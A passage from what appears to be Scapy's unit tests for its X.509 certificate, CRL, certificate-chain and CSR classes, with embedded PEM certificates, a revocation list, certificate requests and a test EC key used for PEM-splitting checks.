b'0d\\x020%\\xa4\\x81E\\x02k\\x12KutO\\xc8#\\xe3p\\xf2ur\\xde|\\x89\\xf0\\xcf\\x91ra\\x9e^\\x10\\x92YV\\xb9\\x83\\xc7\\x10\\xe78\\xe9X&6}\\xd5\\xe44\\x869\\x020|6S\\xf00\\xe5bc:\\x99\\xe2\\xb6\\xa3;\\x9b4\\xfa\\x1e\\xda\\x10\\x92q^\\x91\\x13\\xa7\\xdd\\xa4n\\x92\\xcc2\\xd6\\xf5!f\\xc7/\\xea\\x96cjeE\\x92\\x95\\x01\\xb4'\n\n= Cert class : Test show\nawaited = \"\"\"\nSerial: 15459312981008553731928384953135426796\nIssuer: /C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert Assured ID Root G3\nSubject: /C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert Assured ID Root G3\nValidity: 2013-08-01 12:00:00 UTC to 2038-01-15 12:00:00 UTC\n\"\"\"\n\nwith ContextManagerCaptureOutput() as cmco:\n    y.show()\n    assert cmco.get_output().strip() == awaited.strip()\n\n= Cert class : Check split_pem on chained certs with missing end \\n\nfrom scapy.layers.tls.cert import split_pem\nks = split_pem(b\"\"\"\n-----BEGIN EC PRIVATE KEY-----\nMHQCAQEEIMiRlFoy6046m1NXu911ukXyjDLVgmOXWCKWdQMd8gCRoAcGBSuBBAAK\noUQDQgAE55WjbZjS/88K1kYagsO9wtKifw0IKLp4Jd5qtmDF2Zu+xrwrBRT0HBnP\nweDU+RsFxcyU/QxD9WYORzYarqxbcA==\n-----END EC PRIVATE KEY-----\n-----BEGIN EC PRIVATE KEY-----\nMHQCAQEEIMiRlFoy6046m1NXu911ukXyjDLVgmOXWCKWdQMd8gCRoAcGBSuBBAAK\noUQDQgAE55WjbZjS/88K1kYagsO9wtKifw0IKLp4Jd5qtmDF2Zu+xrwrBRT0HBnP\nweDU+RsFxcyU/QxD9WYORzYarqxbcA==\n-----END EC PRIVATE KEY-----\"\"\")\nassert ks[0][:-1] == ks[1]\n\n= Cert class : Import PEM-encoded certificate with ed25519 signature\nx = Cert(\"\"\"\n-----BEGIN CERTIFICATE-----\nMIICqDCCAZCgAwIBAgIUYYDvh160/Q32Q/MuCGSfIYxTwwEwDQYJKoZIhvcNAQEL\nBQAwVDELMAkGA1UEBhMCTU4xFDASBgNVBAcMC1VsYWFuYmFhdGFyMRcwFQYDVQQL\nDA5TY2FweSBUZXN0IFBLSTEWMBQGA1UEAwwNU2NhcHkgVGVzdCBDQTAeFw0yNDA3\nMTQxOTU4MzNaFw0zNDA3MTUxOTU4MzNaMFgxCzAJBgNVBAYTAk1OMRQwEgYDVQQH\nDAtVbGFhbmJhYXRhcjEXMBUGA1UECwwOU2NhcHkgVGVzdCBQS0kxGjAYBgNVBAMM\nEVNjYXB5IFRlc3QgU2VydmVyMCowBQYDK2VwAyEAB8exZcGWUFeio0aPES732u5l\nGXRUuaktLmSIQB8PoPejaDBmMA8GA1UdEwEB/wQFMAMCAQEwEwYDVR0lBAwwCgYI\nKwYBBQUHAwEwHQYDVR0OBBYEFJOzQR0udLrz7IiLP3q+FehLxijkMB8GA1UdIwQY\nMBaAFGZTlPQV0b1naLBRNzI14aSq3gd8MA0GCSqGSIb3DQEBCwUAA4IBAQCRk6TP\nXKfSy2fwodsYe1bedhL9mlm9xDDOu6ILkDZtCpbOwrjeSf+U7VQYvdlI8QCeQyEK\nZE/S3S5UzOjEv7fQpyqfG9aJJbH7OQwG25ShiX86Kt/RAkgtjyCmKevhT6uSs5fa\nBsdYWnS9WHWH5ZkWkjZt1K2xYJP4Lqg9VpHy/YNz4b5swXEWf+MdayVSgzPxoviG\nzXnsTrxiTcGvelGFm/lYc42u6cSqrHoLtfniyaGNvPwrfBsiY/cypN4GZLNgEk80\n/tcAg2TeUGNbMbT4Rko1OMLxMT9zRzgJyjd/XyW/5fCE/Xm0q7VYo1EF1ScywU1B\nXwZH9DJ6Ud0s8/j+\n-----END CERTIFICATE-----\n\"\"\")\n\n= Cert class : Change subject public key identifier and resign\nc = Cert(\"\"\"\n-----BEGIN CERTIFICATE-----\nMIICRjCCAc2gAwIBAgIQC6Fa+h3foLVJRK/NJKBs7DAKBggqhkjOPQQDAzBlMQsw\nCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cu\nZGlnaWNlcnQuY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3Qg\nRzMwHhcNMTMwODAxMTIwMDAwWhcNMzgwMTE1MTIwMDAwWjBlMQswCQYDVQQGEwJV\nUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQu\nY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgRzMwdjAQBgcq\nhkjOPQIBBgUrgQQAIgNiAAQZ57ysRGXtzbg/WPuNsVepRC0FFfLvC/8QdJ+1YlJf\nZn4f5dwbRXkLzMZTCp2NXQLZqVneAlr2lSoOjThKiknGvMYDOAdfVdp+CW7if17Q\nRSAPWXYQ1qAk8C3eNvJsKTmjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/\nBAQDAgGGMB0GA1UdDgQWBBTL0L2p4ZgFUaFNN6KDec6NHSrkhDAKBggqhkjOPQQD\nAwNnADBkAjAlpIFFAmsSS3V0T8gj43DydXLefInwz5FyYZ5eEJJZVrmDxxDnOOlY\nJjZ91eQ0hjkCMHw2U/Aw5WJjOpnitqM7mzT6HtoQknFekROn3aRukswy1vUhZscv\n6pZjamVFkpUBtA==\n-----END CERTIFICATE-----\n\"\"\")\nk = PrivKeyECDSA()\nc.setSubjectPublicKeyFromPrivateKey(k)\nc.setSubjectPublicKeyFromPrivateKey(k.pubkey)\nc = Cert(k.resignCert(c))\n\nassert k.verifyCert(c)\n\n########### CRL class ###############################################\n\n+ CRL class tests\n\n= CRL class : Importing PEM-encoded CRL\nx = CRL(\"\"\"\n-----BEGIN X509 CRL-----\nMIICHjCCAYcwDQYJKoZIhvcNAQEFBQAwXzELMAkGA1UEBhMCVVMxFzAVBgNVBAoT\nDlZlcmlTaWduLCBJbmMuMTcwNQYDVQQLEy5DbGFzcyAxIFB1YmxpYyBQcmltYXJ5\nIENlcnRpZmljYXRpb24gQXV0aG9yaXR5Fw0wNjExMDIwMDAwMDBaFw0wNzAyMTcy\nMzU5NTlaMIH2MCECECzSS2LEl6QXzW6jyJx6LcgXDTA0MDQwMTE3NTYxNVowIQIQ\nOkXeVssCzdzcTndjIhvU1RcNMDEwNTA4MTkyMjM0WjAhAhBBXYg2gRUg1YCDRqhZ\nkngsFw0wMTA3MDYxNjU3MjNaMCECEEc5gf/9hIHxlfnrGMJ8DfEXDTAzMDEwOTE4\nMDYxMlowIQIQcFR+auK62HZ/R6mZEEFeZxcNMDIwOTIzMTcwMDA4WjAhAhB+C13e\nGPI5ZoKmj2UiOCPIFw0wMTA1MDgxOTA4MjFaMCICEQDQVEhgGGfTrTXKLw1KJ5Ve\nFw0wMTEyMTExODI2MjFaMA0GCSqGSIb3DQEBBQUAA4GBACLJ9rsdoaU9JMf/sCIR\ns3AGW8VV3TN2oJgiCGNEac9PRyV3mRKE0hmuIJTKLFSaa4HSAzimWpWNKuJhztsZ\nzXUnWSZ8VuHkgHEaSbKqzUlb2g+o/848CvzJrcbeyEBkDCYJI5C3nLlQA49LGJ+w\n4GUPYBwaZ+WFxCX1C8kzglLm\n-----END X509 CRL-----\n\"\"\")\n\n= CRL class : Checking version\nx.version == 1\n\n= CRL class : Checking issuer extraction in basic format (/C=FR ...)\nx.issuer_str == '/C=US/O=VeriSign, Inc./OU=Class 1 Public Primary Certification Authority'\n\n= CRL class : Checking lastUpdate date extraction in tuple format\nx.lastUpdate == (2006, 11, 2, 0, 0, 0, 3, 306, -1)\n\n= CRL class : Checking nextUpdate date extraction in tuple format\nx.nextUpdate == (2007, 2, 17, 23, 59, 59, 5, 48, -1)\n\n= CRL class : Checking number of revoked certificates\nlen(x.revoked_cert_serials) == 7 \n\n= CRL class : Checking presence of one revoked certificate\n(94673785334145723688625287778885438961, '030109180612') in x.revoked_cert_serials\n\n= Cert/CRL class : Checking isRevoked\ncx = X509_Cert()\ncx.tbsCertificate.serialNumber.val = 59577943160751197113872490992424857032\ncx.tbsCertificate.issuer = x.x509CRL.tbsCertList.issuer\ncx = Cert(raw(cx))\nassert cx.isRevoked([x])\n\n= CRL class : Test show\nawaited = \"\"\"\nVersion: 1\nsigAlg: sha1-with-rsa-signature\nIssuer: /C=US/O=VeriSign, Inc./OU=Class 1 Public Primary Certification Authority\nlastUpdate: 2006-11-02 00:00:00 UTC\nnextUpdate: 2007-02-17 23:59:59 UTC\n\"\"\"\n\nwith ContextManagerCaptureOutput() as cmco:\n    x.show()\n    assert cmco.get_output().strip() == awaited.strip()\n\n########### High-level methods ###############################################\n\n= Cert class : Checking isIssuer()\nc0 = Cert(\"\"\"\n-----BEGIN CERTIFICATE-----\nMIIFVjCCBD6gAwIBAgIJAJmDv7HOC+iUMA0GCSqGSIb3DQEBCwUAMIHGMQswCQYD\nVQQGEwJVUzEQMA4GA1UECBMHQXJpem9uYTETMBEGA1UEBxMKU2NvdHRzZGFsZTEl\nMCMGA1UEChMcU3RhcmZpZWxkIFRlY2hub2xvZ2llcywgSW5jLjEzMDEGA1UECxMq\naHR0cDovL2NlcnRzLnN0YXJmaWVsZHRlY2guY29tL3JlcG9zaXRvcnkvMTQwMgYD\nVQQDEytTdGFyZmllbGQgU2VjdXJlIENlcnRpZmljYXRlIEF1dGhvcml0eSAtIEcy\nMB4XDTE1MTAxMzE2NDIzOFoXDTE2MTEzMDIzMzQxOVowPjEhMB8GA1UECxMYRG9t\nYWluIENvbnRyb2wgVmFsaWRhdGVkMRkwFwYDVQQDDBAqLnRvb2xzLmlldGYub3Jn\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAseE36OuC1on62/XCS3fw\nLErecm4+E2DRqGYexK09MmDl8Jm19Hp6SFUh7g45EvnODcr1aWHHBO1uDx07HlCI\neToOMUEW8bECZGilzfVKCsqZljUIw34nXdCpz/PnKK832LZ73fN+rm6Xf/fKaU7M\n0AbfXSebOxLn5v4Ia1J7ghF8crNG68HoeLgPy+HrvQZEWNyDULKgYlvcgbg24558\nebKpU4rgC8lKKhM5MRO9LM+ocM+MjT0Bo4iuEgA2HR4kK9152FMBJu0oT8mGlINO\nyOEULoWzr9Ru3WlGr0ElDnqti/KSynnZezJP93fo+bRPI1zUXAOu2Ks6yhNfXV1d\noQIDAQABo4IBzDCCAcgwDAYDVR0TAQH/BAIwADAdBgNVHSUEFjAUBggrBgEFBQcD\nAQYIKwYBBQUHAwIwDgYDVR0PAQH/BAQDAgWgMDwGA1UdHwQ1MDMwMaAvoC2GK2h0\ndHA6Ly9jcmwuc3RhcmZpZWxkdGVjaC5jb20vc2ZpZzJzMS0xNy5jcmwwWQYDVR0g\nBFIwUDBOBgtghkgBhv1uAQcXATA/MD0GCCsGAQUFBwIBFjFodHRwOi8vY2VydGlm\naWNhdGVzLnN0YXJmaWVsZHRlY2guY29tL3JlcG9zaXRvcnkvMIGCBggrBgEFBQcB\nAQR2MHQwKgYIKwYBBQUHMAGGHmh0dHA6Ly9vY3NwLnN0YXJmaWVsZHRlY2guY29t\nLzBGBggrBgEFBQcwAoY6aHR0cDovL2NlcnRpZmljYXRlcy5zdGFyZmllbGR0ZWNo\nLmNvbS9yZXBvc2l0b3J5L3NmaWcyLmNydDAfBgNVHSMEGDAWgBQlRYFoUCY4PTst\nLL7Natm2PbNmYzArBgNVHREEJDAighAqLnRvb2xzLmlldGYub3Jngg50b29scy5p\nZXRmLm9yZzAdBgNVHQ4EFgQUrYq0HAdR15KJB7C3hGIvNlV6X00wDQYJKoZIhvcN\nAQELBQADggEBAAxfzShHiatHrWnTGuRX9BmFpHOFGmLs3PtRRPoOUEbZrcTbaJ+i\nEZpjj4R3eiLITgObcib8+NR1eZsN6VkswZ+rr54aeQ1WzWlsVwBP1t0h9lIbaonD\nwDV6ME3KzfFwwsZWqMBgLin8TcoMadAkXhdfcEKNndKSMsowgEjigP677l24nHf/\nOcnMftgErmTm+jEdW1wUooJoWgbt8TT2uWD8MC62sIIgSQ6miKtg7LhCC1ScyVuN\nErk3YzF8mPwouOcnNOKsUnkDXLA2REMedVp48c4ikjLClu6AcIg03ZU+o8fLNqcZ\nzd1s7DbacrRSSQ+nXDTodqw1HB+77u0RFs0=\n-----END CERTIFICATE-----\n\"\"\")\nc1 = Cert(\"\"\"\n-----BEGIN CERTIFICATE-----\nMIIFADCCA+igAwIBAgIBBzANBgkqhkiG9w0BAQsFADCBjzELMAkGA1UEBhMCVVMx\nEDAOBgNVBAgTB0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxJTAjBgNVBAoT\nHFN0YXJmaWVsZCBUZWNobm9sb2dpZXMsIEluYy4xMjAwBgNVBAMTKVN0YXJmaWVs\nZCBSb290IENlcnRpZmljYXRlIEF1dGhvcml0eSAtIEcyMB4XDTExMDUwMzA3MDAw\nMFoXDTMxMDUwMzA3MDAwMFowgcYxCzAJBgNVBAYTAlVTMRAwDgYDVQQIEwdBcml6\nb25hMRMwEQYDVQQHEwpTY290dHNkYWxlMSUwIwYDVQQKExxTdGFyZmllbGQgVGVj\naG5vbG9naWVzLCBJbmMuMTMwMQYDVQQLEypodHRwOi8vY2VydHMuc3RhcmZpZWxk\ndGVjaC5jb20vcmVwb3NpdG9yeS8xNDAyBgNVBAMTK1N0YXJmaWVsZCBTZWN1cmUg\nQ2VydGlmaWNhdGUgQXV0aG9yaXR5IC0gRzIwggEiMA0GCSqGSIb3DQEBAQUAA4IB\nDwAwggEKAoIBAQDlkGZL7PlGcakgg77pbL9KyUhpgXVObST2yxcT+LBxWYR6ayuF\npDS1FuXLzOlBcCykLtb6Mn3hqN6UEKwxwcDYav9ZJ6t21vwLdGu4p64/xFT0tDFE\n3ZNWjKRMXpuJyySDm+JXfbfYEh/JhW300YDxUJuHrtQLEAX7J7oobRfpDtZNuTlV\nBv8KJAV+L8YdcmzUiymMV33a2etmGtNPp99/UsQwxaXJDgLFU793OGgGJMNmyDd+\nMB5FcSM1/5DYKp2N57CSTTx/KgqT3M0WRmX3YISLdkuRJ3MUkuDq7o8W6o0OPnYX\nv32JgIBEQ+ct4EMJddo26K3biTr1XRKOIwSDAgMBAAGjggEsMIIBKDAPBgNVHRMB\nAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUJUWBaFAmOD07LSy+\nzWrZtj2zZmMwHwYDVR0jBBgwFoAUfAwyH6fZMH/EfWijYqihzqsHWycwOgYIKwYB\nBQUHAQEELjAsMCoGCCsGAQUFBzABhh5odHRwOi8vb2NzcC5zdGFyZmllbGR0ZWNo\nLmNvbS8wOwYDVR0fBDQwMjAwoC6gLIYqaHR0cDovL2NybC5zdGFyZmllbGR0ZWNo\nLmNvbS9zZnJvb3QtZzIuY3JsMEwGA1UdIARFMEMwQQYEVR0gADA5MDcGCCsGAQUF\nBwIBFitodHRwczovL2NlcnRzLnN0YXJmaWVsZHRlY2guY29tL3JlcG9zaXRvcnkv\nMA0GCSqGSIb3DQEBCwUAA4IBAQBWZcr+8z8KqJOLGMfeQ2kTNCC+Tl94qGuc22pN\nQdvBE+zcMQAiXvcAngzgNGU0+bE6TkjIEoGIXFs+CFN69xpk37hQYcxTUUApS8L0\nrjpf5MqtJsxOYUPl/VemN3DOQyuwlMOS6eFfqhBJt2nk4NAfZKQrzR9voPiEJBjO\neT2pkb9UGBOJmVQRDVXFJgt5T1ocbvlj2xSApAer+rKluYjdkf5lO6Sjeb6JTeHQ\nsPTIFwwKlhR8Cbds4cLYVdQYoKpBaXAko7nv6VrcPuuUSvC33l8Odvr7+2kDRUBQ\n7nIMpBKGgc0T0U7EPMpODdIm8QC3tKai4W56gf0wrHofx1l7\n-----END CERTIFICATE-----\n\"\"\")\nc2 = Cert(\"\"\"\n-----BEGIN CERTIFICATE-----\nMIID3TCCAsWgAwIBAgIBADANBgkqhkiG9w0BAQsFADCBjzELMAkGA1UEBhMCVVMx\nEDAOBgNVBAgTB0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxJTAjBgNVBAoT\nHFN0YXJmaWVsZCBUZWNobm9sb2dpZXMsIEluYy4xMjAwBgNVBAMTKVN0YXJmaWVs\nZCBSb290IENlcnRpZmljYXRlIEF1dGhvcml0eSAtIEcyMB4XDTA5MDkwMTAwMDAw\nMFoXDTM3MTIzMTIzNTk1OVowgY8xCzAJBgNVBAYTAlVTMRAwDgYDVQQIEwdBcml6\nb25hMRMwEQYDVQQHEwpTY290dHNkYWxlMSUwIwYDVQQKExxTdGFyZmllbGQgVGVj\naG5vbG9naWVzLCBJbmMuMTIwMAYDVQQDEylTdGFyZmllbGQgUm9vdCBDZXJ0aWZp\nY2F0ZSBBdXRob3JpdHkgLSBHMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC\nggEBAL3twQP89o/8ArFvW59I2Z154qK3A2FWGMNHttfKPTUuiUP3oWmb3ooa/RMg\nnLRJdzIpVv257IzdIvpy3Cdhl+72WoTsbhm5iSzchFvVdPtrX8WJpRBSiUZV9Lh1\nHOZ/5FSuS/hVclcCGfgXcVnrHigHdMWdSL5stPSksPNkN3mSwOxGXn/hbVNMYq/N\nHwtjuzqd+/x5AJhhdM8mgkBj87JyahkNmcrUDnXMN/uLicFZ8WJ/X7NfZTD4p7dN\ndloedl40wOiWVpmKs/B/pM293DIxfJHP4F8R+GuqSVzRmZTRouNjWwl2tVZi4Ut0\nHZbUJtQIBFnQmA4O5t78w+wfkPECAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAO\nBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFHwMMh+n2TB/xH1oo2Kooc6rB1snMA0G\nCSqGSIb3DQEBCwUAA4IBAQARWfolTwNvlJk7mh+ChTnUdgWUXuEok21iXQnCoKjU\nsHU48TRqneSfioYmUeYs0cYtbpUgSpIB7LiKZ3sx4mcujJUDJi5DnUox9g61DLu3\n4jd/IroAow57UvtruzvE03lRTs2Q9GcHGcg8RnoNAX3FWOdt5oUwF5okxBDgBPfg\n8n/Uqgr/Qh037ZTlZFkSIHc40zI+OIF1lnP6aI+xy84fxez6nH7PfrHxBy22/L/K\npL/QlwVKvOoYKAKQvVR4CSFx09F9HdkWsKlhPdAKACL8x3vLCWRFCztAgfd9fDL1\nmMpYjn0q7pBZc2T5NnReJaH1ZgUufzkVqSr7UIuOhWn0\n-----END CERTIFICATE-----\n\"\"\")\nassert c0.isIssuer(c1) and c1.isIssuer(c2) and not c0.isIssuer(c2)\n\n= Cert class : Checking isSelfSigned()\nassert c2.isSelfSigned() and not c1.isSelfSigned() and not c0.isSelfSigned()\n\n= PubKey class : Checking verifyCert()\nassert c2.pubkey.verifyCert(c2) and c1.pubkey.verifyCert(c0)\n\n= CertTree class : Checking verification of chain\nchain0 = CertTree([c0, c1, c2]).getchain(c0)\nassert len(chain0) == 3\nassert chain0[0] == c1\nassert chain0[1] == c0\nassert chain0[2] == c2\nchain1 = CertTree([c2, c1, c0]).getchain(c1)\nassert len(chain1) == 2\nassert chain1[0] == c1\nassert chain1[1] == c2\nchain2 = CertTree([c0, c2, c1]).getchain(c2)\nassert len(chain2) == 1\nassert chain2[0] == c2\n\n= CertTree class : show()\n\nexpected_repr = '/C=US/ST=Arizona/L=Scottsdale/O=Starfield Technologies, Inc./CN=Starfield Root Certificate Authority - G2 [Self Signed]\\n  /C=US/ST=Arizona/L=Scottsdale/O=Starfield Technologies, Inc./OU=http://certs.starfieldtech.com/repository//CN=Starfield Secure Certificate Authority - G2 [Not Self Signed]\\n    /OU=Domain Control Validated/CN=*.tools.ietf.org [Not Self Signed]\\n'\nassert CertTree([c0, c1, c2]).show(ret=True) == expected_repr\n\nrepr_str = CertTree([], c0).show(ret=True)\nassert repr_str == '/OU=Domain Control Validated/CN=*.tools.ietf.org [Not Self Signed]\\n'\n\n= CertTree class : verify\n\nCertTree([c1, c2]).verify(c0)\nCertTree([c2]).verify(c1)\n\ntry:\n    CertTree([c1]).verify(c0)\n    assert False\nexcept ValueError:\n    pass\n\ntry:\n    CertTree([c2]).verify(c0)\n    assert False\nexcept ValueError:\n    pass\n\n\n= Test GeneralizedTime\n\ndata = b\"MHAwXAIBADANBgkqhkiG9w0BAQ0FADAAMCIYDzIwMTExMDA2MDgzOTU2WhgPMjA0NjEwMDYwODM5NTZaMAAwHDANBgkqhkiG9w0BAQEFAAMLADAIAgEAAgMBAAGjAjAAMA0GCSqGSIb3DQEBDQUAAwEA\"\nimport tempfile, os\n_, filename = tempfile.mkstemp()\nfd = open(filename, \"wb\")\nfd.write(b\"-----BEGIN CERTIFICATE-----\\n\")\nfd.write(data)\nfd.write(b\"-----END CERTIFICATE-----\\n\")\nfd.close()\ncert = Cert(filename)\nassert \"2011\" in cert.notBefore_str and \"2046\" in cert.notAfter_str\n\n+ CSR\n\n= CSR class - Parse CSR in PKCS#10 format - Normal\n\nfrom scapy.layers.tls.cert import CSR\n\ncsr = CSR(\"\"\"\n-----BEGIN NEW CERTIFICATE REQUEST-----\nMIIEEDCCAvgCAQAwIzEQMA4GA1UECgwHVGVzdE9yZzEPMA0GA1UEAwwGVGVzdENO\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA7QfRs3mjYec2JJDiFJkA\nSq0hfCdWo9hbX75FfWAh2Pid4NsCu/8vsfHwezFoQehpzIJq7tXH6mip8fiIEtzA\n3WsXq7AknJmoaSIGu/g85zoypgqUfKvvrsof6h8avg16unm/LiDe7GGUh135L61W\nXjQRQZcb/J+e4NDe4vO1qKauviB8N29tarMgtWCN29xdP2MmWsKG7OdKoCkeCUBv\nT8J6TwtOtgcnz88cg5TpNZd9DeloqQVO+Y6mB3F7Moup1RMzNNfvXX7VwJs19quH\nQVvpGMqMdKvBOcFMWBzkp5yz8rz906Up6IMtJ5lebnZiM78qMASce09XXUoQeRa2\nyQIDAQABoIIBpjAcBgorBgEEAYI3DQIDMQ4WDDEwLjAuMjYxMDAuMjBCBgorBgEE\nAYI3DQIBMTQwMh4mAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBUAGUAbQBwAGwAYQB0\nAGUeCABVAHMAZQByMEcGCSsGAQQBgjcVFDE6MDgCAQkMEERDMS5ET01BSU4uTE9D\nQUwMFERPTUFJTlxBZG1pbmlzdHJhdG9yDAtjZXJ0cmVxLmV4ZTB0BgorBgEEAYI3\nDQICMWYwZAIBAR5cAE0AaQBjAHIAbwBzAG8AZgB0ACAARQBuAGgAYQBuAGMAZQBk\nACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAg\nAHYAMQAuADADAQAwgYIGCSqGSIb3DQEJDjF1MHMwFwYJKwYBBAGCNxQCBAoeCABV\nAHMAZQByMCkGA1UdJQQiMCAGCisGAQQBgjcKAwQGCCsGAQUFBwMEBggrBgEFBQcD\nAjAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0OBBYEFHTYQp8vpznjtd/YUFReYLZ3KkGL\nMA0GCSqGSIb3DQEBBQUAA4IBAQDB2DQqAlezF5kf5m7LQ46nacqmhi7UCKbAV4kV\nREkBdOqLLac50rerzCbSLFD8py0dVtqzD8+ccsm/jmadIwIiGLy/4YLfFiSyA4CK\nMiHpDb5iVCPlhA7uod9w0/tvtjDRvoipog1VA2B9GL2vDn2RAMa4BOnI2dM1OZdH\nV7UC9kRspJrzO0wMl68VQU6t7cGi+jfxEO735OEfRGkRRUuBXq6azBswlelA4+Ha\n997g/CwZmlIUB4D1vZrXZkIvLWybkGtlP369LePN91jUBJr2rDw4nyfulSZEDKwb\nL8SaD6ZFk+ZchJPx0UhG13GHdUJZb2brHV+gYZRusX8LOauO\n-----END NEW CERTIFICATE REQUEST-----\n\"\"\")\n\nassert csr.verifySelf()\ncsr\n\nassert isinstance(csr.csr, PKCS10_CertificationRequest)\npkcs10 = csr.csr\n\nassert pkcs10.certificationRequestInfo.get_subject() == {'organizationName': 'TestOrg', 'commonName': 'TestCN'}\n\nassert pkcs10.certificationRequestInfo.attributes[0].type.oidname == 'OID_OS_VERSION'\nassert pkcs10.certificationRequestInfo.attributes[0].values[0].value == b'10.0.26100.2'\n\nassert pkcs10.certificationRequestInfo.attributes[3].type.oidname == 'OID_ENROLLMENT_CSP_PROVIDER'\nassert pkcs10.certificationRequestInfo.attributes[3].values[0].value.ProviderName.val.decode(\"utf-16be\") == 'Microsoft Enhanced Cryptographic Provider v1.0'\n\nassert pkcs10.certificationRequestInfo.attributes[4].values[0].value.extensions[0].extnID.oidname == \"ENROLL_CERTTYPE\"\nassert pkcs10.certificationRequestInfo.attributes[4].values[0].value.extensions[0].extnValue.Name.val == b'\\x00U\\x00s\\x00e\\x00r'\n\n\n= CSR class - Parse CSR in CMC format - Normal (sha1)\n\nfrom scapy.layers.tls.cert import CSR\n\ncsr = CSR(\"\"\"\n-----BEGIN NEW CERTIFICATE REQUEST-----\nMIIGuwYJKoZIhvcNAQcCoIIGrDCCBqgCAQMxCzAJBgUrDgMCGgUAMIIFFQYIKwYB\nBQUHDAKgggUHBIIFAzCCBP8wgdkwZgIBAgYKKwYBBAGCNwoKATFVMFMCAQAwAwIB\nATFJMEcGCSsGAQQBgjcVFDE6MDgCAQkMEERDMS5ET01BSU4uTE9DQUwMFERPTUFJ\nTlxBZG1pbmlzdHJhdG9yDAtjZXJ0cmVxLmV4ZTBvAgEDBggrBgEFBQcHCDFgMF4C\nAQAwAwIBATBUMBcGCSsGAQQBgjcUAgQKHggAVQBzAGUAcjApBgNVHSUEIjAgBgor\nBgEEAYI3CgMEBggrBgEFBQcDBAYIKwYBBQUHAwIwDgYDVR0PAQH/BAQDAgWgMIIE\nG6CCBBcCAQEwggQQMIIC+AIBADAjMRAwDgYDVQQKDAdUZXN0T3JnMQ8wDQYDVQQD\nDAZUZXN0Q04wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDDmuBEjKaX\nETewhcD5qoa4Qx+6H7YWColwCukmf6Bg8lwq3nHXEXHZjBfZaLHcev1xEgKd25L9\nkZtMUYeMK/zxX2C0x5xbsJR18/sJ9GZ5YqzUhlGW8PaLaql6g2e+jpzd9m1kU+IK\n3Wx/bwZ2TmMjZoikHPym4Kzieyimqty8FxU1fBNkcNopLxaFVlclprwXqrdHXALC\n/OWZIzUNcjAaTnVU4qFx7Mb65ik4klVsRiO1nR1dVeJWbMa8gvUhcglsZyH/wRwD\nlHwpYGY1LO27Z9baBJojraTr0z0YiOWj6BjWfRy9FsbI+sFwLzskaUbcjdvI+UmL\nP7Nji0zGrksZAgMBAAGgggGmMBwGCisGAQQBgjcNAgMxDhYMMTAuMC4yNjEwMC4y\nMEIGCisGAQQBgjcNAgExNDAyHiYAQwBlAHIAdABpAGYAaQBjAGEAdABlAFQAZQBt\nAHAAbABhAHQAZR4IAFUAcwBlAHIwRwYJKwYBBAGCNxUUMTowOAIBCQwQREMxLkRP\nTUFJTi5MT0NBTAwURE9NQUlOXEFkbWluaXN0cmF0b3IMC2NlcnRyZXEuZXhlMHQG\nCisGAQQBgjcNAgIxZjBkAgEBHlwATQBpAGMAcgBvAHMAbwBmAHQAIABFAG4AaABh\nAG4AYwBlAGQAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBp\nAGQAZQByACAAdgAxAC4AMAMBADCBggYJKoZIhvcNAQkOMXUwczAXBgkrBgEEAYI3\nFAIECh4IAFUAcwBlAHIwKQYDVR0lBCIwIAYKKwYBBAGCNwoDBAYIKwYBBQUHAwQG\nCCsGAQUFBwMCMA4GA1UdDwEB/wQEAwIFoDAdBgNVHQ4EFgQUJm+5vprbywwUFsNc\nnpQt/zP+3BEwDQYJKoZIhvcNAQEFBQADggEBAHbi+2oaM9oRugYC6lfmRJHOKJ62\nDP/A41KZEe+7tZfrLSeOra6hNg10LZCJXE3Sg8rzE26/ZU/raJjxNytHH4NuhyxV\ngZddYbekxRMey3ou2qSbotRATWYVEt7eW3+eJxunpEiuAZ4+Q0l5OcoT2XY85m+V\n0goQFs3VHDDhbiDdm2TFikNA6Soi0H3Fe9Fdy36N9ua7Z5EwPhNCkorVU4C+XA+u\nqJu2P18+W2p0NjQz96QfmBB0QXc2b0bCRpcsuQG9T3h0S1nrWXKjoymJL4SZPZ3F\nZa/zNAPTPHd4UlX3fC5vPV1tw/sGfqn5ICRiqbNFIRPixol0UJmP/t0IMoowADAA\nMYIBezCCAXcCAQOAFCZvub6a28sMFBbDXJ6ULf8z/twRMAkGBSsOAwIaBQCgPjAX\nBgkqhkiG9w0BCQMxCgYIKwYBBQUHDAIwIwYJKoZIhvcNAQkEMRYEFCYLXDzJ+xwT\noNgEnqjniydkGdJkMA0GCSqGSIb3DQEBAQUABIIBAHgMd4MCpLOlR+Z12ATKYfgc\nEeA/npahMiXIC97vn24xRDz9gXvQAvw9mSrhwc3kHPF45fQ4eQcoyaYHIt2G93sf\n5rF8g9qKsNkzqvpVHPD1CUImUBxW92n1NwYwdL711x22wehaabWxybS5L3BLdLqr\nB86oxjQ582eGXqj4OncPesPBJud4AnD4ObZseDFk3sNfJmiz3e7BUkOhcfPgePZv\nP4xCVfb5QBV4Jv6xem/0QxkpuQNyTrEK7g3qE0DZaOj97YEPOtqKeOcSddueTPjy\nu7F+oKWjUdO6P903GzjyeI5D3pV3WPgk